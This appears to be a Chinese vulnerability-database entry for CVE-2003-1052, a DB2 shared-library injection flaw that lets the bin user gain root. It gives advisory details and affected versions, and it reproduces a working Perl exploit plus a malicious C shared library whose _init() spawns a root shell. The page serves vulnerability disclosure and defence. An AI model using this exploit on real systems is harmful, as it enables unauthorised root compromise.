CVE-2003-1052
CVSS7.2
发布时间 :2004-09-28 00:00:00
修订时间 :2008-09-05 16:35:54
NMCOES    

[原文]IBM DB2 7.1 and 8.1 allow the bin user to gain root privileges by modifying the shared libraries that are used in setuid root programs.


[CNNVD]IBM DB2共享库注入漏洞(CNNVD-200409-060)

        
        IBM DB2是一款由IBM公司开发的强大的数据库系统,适合于多种操作系统下使用。
        IBM DB2的存在共享库注入漏洞,本地攻击者可以利用这个漏洞获得本地root用户权限。
        DB2数据库多个共享库以bin.bin属性安装,当setuid root工具连接到这些库时,如果攻击者能够获得bin帐户权限,就可以通过建立恶意共享库,使用这些setuid root工具获得root用户权限。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ibm:db2_universal_database:8.0::linuxIBM DB2 Universal Database 8.0 linux
cpe:/a:ibm:db2_universal_database:8.2::windows
cpe:/a:ibm:db2:9.0IBM DB2 9.0
cpe:/a:ibm:db2_universal_database:7.0::linux
cpe:/a:ibm:db2_universal_database:8.1::aix
cpe:/a:ibm:db2_universal_database:7.1::linux
cpe:/a:ibm:db2_universal_database:7.2::linux
cpe:/a:ibm:db2_universal_database:6.0IBM DB2 Universal Database 6.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1052
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1052
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200409-060
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/8346
(VENDOR_ADVISORY)  BID  8346
http://www.securityfocus.com/archive/1/331904
(VENDOR_ADVISORY)  BUGTRAQ  20030805 Slight privilege elevation from bin to root in IBM DB2 7.1 - 8.1 all binaries
http://xforce.iss.net/xforce/xfdb/12826
(VENDOR_ADVISORY)  XF  ibm-db2-gain-privileges(12826)

- 漏洞信息

IBM DB2共享库注入漏洞
高危 配置错误
2004-09-28 00:00:00 2005-10-20 00:00:00
本地  
        
        IBM DB2是一款由IBM公司开发的强大的数据库系统,适合于多种操作系统下使用。
        IBM DB2的存在共享库注入漏洞,本地攻击者可以利用这个漏洞获得本地root用户权限。
        DB2数据库多个共享库以bin.bin属性安装,当setuid root工具连接到这些库时,如果攻击者能够获得bin帐户权限,就可以通过建立恶意共享库,使用这些setuid root工具获得root用户权限。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 更改如下目录的权限和属组:
        /usr/IBMdb2/V7.1:
        drwxr-xr-x 2 bin bin 4096 Jun 21 2002 java12
        drwxr-xr-x 2 bin bin 4096 Jul 30 19:54 lib
        drwxr-xr-x 2 bin bin 4096 Jun 21 2002 map
        /opt/IBM/db2/V8.1/:
        drwxr-xr-x 2 bin bin 4096 Dec 11 2002 java
        drwxr-xr-x 2 bin bin 4096 Dec 11 2002 lib
        drwxr-xr-x 30 bin bin 4096 Dec 11 2002 license
        drwxr-xr-x 2 bin bin 4096 Dec 11 2002 map
        厂商补丁:
        IBM
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.ers.ibm.com/

- 漏洞信息 (22989)

IBM DB2 Shared Library Injection Vulnerability (EDBID:22989)
unix local
2003-08-05 Verified
0 daniels@legend.co.uk
N/A [点击下载]
source: http://www.securityfocus.com/bid/8346/info

IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.

#!/usr/bin/perl

#IBM DB2 local root from uid=bin 
#deadbeat,
#e:	daniels@legend.co.uk
#e:	deadbeat@sdf.lonestar.org

print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";

system("cd /usr/IBMdb2/V7.1/lib");
open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
print FILEHANDLE "#include <stdio.h>\n";
print FILEHANDLE "#include <string.h>\n\n";
print FILEHANDLE "_init() {\n";
print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(), getuid());\n";
print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
print FILEHANDLE "}";
close FILEHANDLE;
system("gcc -fpic -shared -o libdl.so.2 foo.c");
exec("db2dari")


		

- 漏洞信息

2374
IBM DB2 bin User Library Weakness Local Privilege Escalation

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-08-06 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

IBM DB2 Shared Library Injection Vulnerability
Configuration Error 8346
No Yes
2003-08-05 12:00:00 2009-07-11 10:56:00
Announced by Juan Manuel Pascual Escriba <pask@cmlc.upv.es>.

- 受影响的程序版本

IBM DB2 Universal Database for Solaris 8.1
IBM DB2 Universal Database for Solaris 8.0
IBM DB2 Universal Database for Solaris 7.2
IBM DB2 Universal Database for Solaris 7.1
IBM DB2 Universal Database for Solaris 7.0
IBM DB2 Universal Database for Solaris 6.1
IBM DB2 Universal Database for Solaris 6.0
IBM DB2 Universal Database for Linux 8.1
IBM DB2 Universal Database for Linux 8.0
IBM DB2 Universal Database for Linux 7.2
IBM DB2 Universal Database for Linux 7.1
IBM DB2 Universal Database for Linux 7.0
IBM DB2 Universal Database for Linux 6.1
- Caldera OpenLinux 2.4
- RedHat Linux 7.0
- S.u.S.E. Linux 7.0
- Turbolinux Turbolinux 6.0.4
IBM DB2 Universal Database for Linux 6.0
IBM DB2 Universal Database for HP-UX 8.1
IBM DB2 Universal Database for HP-UX 8.0
IBM DB2 Universal Database for HP-UX 7.2
IBM DB2 Universal Database for HP-UX 7.1
IBM DB2 Universal Database for HP-UX 7.0
IBM DB2 Universal Database for HP-UX 6.1
IBM DB2 Universal Database for HP-UX 6.0
IBM DB2 Universal Database for AIX 8.1
IBM DB2 Universal Database for AIX 8.0
IBM DB2 Universal Database for AIX 7.2
IBM DB2 Universal Database for AIX 7.1
IBM DB2 Universal Database for AIX 7.0
IBM DB2 Universal Database for AIX 6.1
IBM DB2 Universal Database for AIX 6.0

- 漏洞讨论

IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.

- 漏洞利用

The following malicious shared library or exploit can be used:

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
system("/bin/bash");
printf("Saliendo del Init()\n");
}

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站